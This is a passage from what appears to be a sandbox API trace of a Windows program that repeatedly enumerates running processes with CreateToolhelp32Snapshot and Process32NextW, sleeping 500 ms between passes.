th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0224.107] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0224.108] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0224.242] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0224.244] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0224.247] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0224.248] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0224.249] CloseHandle (hObject=0x1d4) returned 1 [0224.249] Sleep (dwMilliseconds=0x1f4) [0224.835] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0224.844] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.845] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0224.846] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0224.847] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.850] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0224.867] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.868] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0224.869] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0224.871] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0224.872] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0224.873] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.874] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.875] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.876] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.877] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.878] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0224.880] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.882] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.883] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0224.884] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.885] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0224.886] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0224.887] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0224.888] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0224.889] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0224.890] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0224.891] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0224.892] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0224.981] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0224.983] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0224.984] CloseHandle (hObject=0x1d4) returned 1 [0224.984] Sleep (dwMilliseconds=0x1f4) [0225.567] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0225.575] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.576] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0225.577] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0225.578] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.579] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0225.580] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.582] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0225.584] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0225.585] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0225.587] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0225.588] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.589] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.590] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.591] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.593] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.595] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0225.596] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.597] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.598] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0225.599] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.600] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0225.601] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0225.604] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0225.605] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0225.606] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0225.607] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0225.695] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0225.696] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0225.699] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0225.701] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0225.702] CloseHandle (hObject=0x1d4) returned 1 [0225.702] Sleep (dwMilliseconds=0x1f4) [0226.298] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0226.304] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.306] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0226.306] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0226.307] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.308] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0226.309] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.310] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0226.311] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0226.312] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0226.314] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0226.315] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.316] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.317] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.318] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.319] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.320] Process32NextW (in: 